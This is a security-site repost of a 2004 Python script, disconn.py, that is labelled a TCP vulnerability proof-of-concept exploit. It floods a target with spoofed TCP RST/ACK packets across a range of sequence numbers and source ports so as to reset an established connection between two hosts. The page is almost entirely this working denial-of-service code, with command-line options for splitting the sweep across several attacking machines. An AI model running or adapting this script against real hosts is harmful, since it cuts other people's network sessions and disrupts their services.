首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TCP vulnerability proof of concept exploit
来源:vfocus.net 作者:r3d5un 发布时间:2004-04-30  

TCP vulnerability proof of concept exploit(Python version)
#!/usr/bin/python
#
# Version: 1.1
# Copyright 2004 r3d5un
#
# disconn.py is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# disconn.py is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with disconn.py; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#
# Version 1.1 changes:
# -se option added (Sequence End). This allows the
# user to specify an upper sequnece number, and thus
# the distribution to more clients.
#
# i.e 4 Hosts 0-1000000000 1000000001-2000000000
# 2000000001-3000000000 3000000001-4294967295
#
#
#

import btk
import sys
import string

def cmdParser(args):
pos = 1
quiet = False
seq = 0
maxseqnum = 4294967295
win = 8000
running = True
while running:
running = False
if args[pos] == "-s":
try:
seq = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1
if args[pos] == "-se":
try:
maxseqnum = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos +1
elif args[pos] == "-w":
try:
win = long(args[pos+1])
pos = pos + 2
running = True
except:
pos = pos + 1

elif args[pos] == "-q":
quiet = True
running = True
pos = pos + 1

dstip = args[pos]
dstport = int(args[pos+1])
srcip = args[pos+2]
tmp = string.split(args[pos+3],":")
try:
srcport1 = int(tmp[0])
srcport2 = int(tmp[1])
except:
srcport1 = srcport2 = int(tmp[0])

return dstip,dstport,srcip,srcport1,srcport2,seq,maxseqnum,win,quiet

try:
args = sys.argv
dstip,dstport,srcip,srcport1,srcport2,seqnum,maxseqnum,win,quiet = cmdParser(args)

if not quiet:
print "Attacking " + dstip + " <--> " + srcip

packet = btk.btk()
packet.protocol(btk.TCP)
packet.flags(btk.RST | btk.ACK)

i = seqnum
k = 0
while i < maxseqnum:
packet.options(seq=long(i))
packet.options(ack=long(i))
for p in range (srcport1, srcport2+1):
packet.send(dstip,dstport,srcip,p)
k=(k+1)%1000
if k == 0:
if not quiet:
print "1000 Packets sent (seqnum="+str(i)+")"
i = i + win
except:
print "Usage: disconn.py [-q] [-s <seqnum>] [-se <endseqnum>] [-w <windowsize>] <dst.ip> <dst.port> <src.ip> <src.port>\n"




 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Siemens S55 Unauthorized SMS S
·Windows Lsasrv.dll Remote Univ
·SquirrelMail Change_Passwd插件
·dameware generate key program
·eXtremail 1.5.x Denial of Serv
·LHa Local Stack Overflow Proof
·IIS 5 SSL remote root exploit
·X-Chat socks-5 remote buffer o
·TCP Window Size RST
·Squirrelmail Local Root Chpass
·HP Web JetAdmin 6.5 Remote Roo
·autoRST - Automated TCP RST Ex
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved